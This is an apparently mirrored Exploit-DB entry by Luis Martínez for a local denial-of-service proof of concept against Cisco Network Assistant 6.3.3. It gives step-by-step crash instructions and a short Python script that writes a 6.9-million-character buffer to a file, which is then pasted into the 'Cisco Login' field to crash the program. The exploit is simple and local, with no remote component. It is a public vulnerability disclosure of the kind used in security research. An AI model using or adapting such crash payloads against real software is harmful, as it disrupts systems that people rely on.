Cisco Network Assistant 6.3.3 – ‘Cisco Login’ Denial of Service (PoC) - 体验盒子

作者： Luis Martínez

日期： 2018-08-28

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/45275/

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# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)

# Discovery by: Luis Martinez

# Discovery Date: 2018-08-27

# Vendor Homepage: https://www.cisco.com/

# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3

# Tested Version: 6.3.3

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py

# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard

# 3.- Open Cisco Network Assistant

# 4.- Authenticate to Cisco CCO

# 5.- Paste ClipBoard on "Cisco Login"

# 6.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 6900000

f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")

f.write(buffer)

f.close()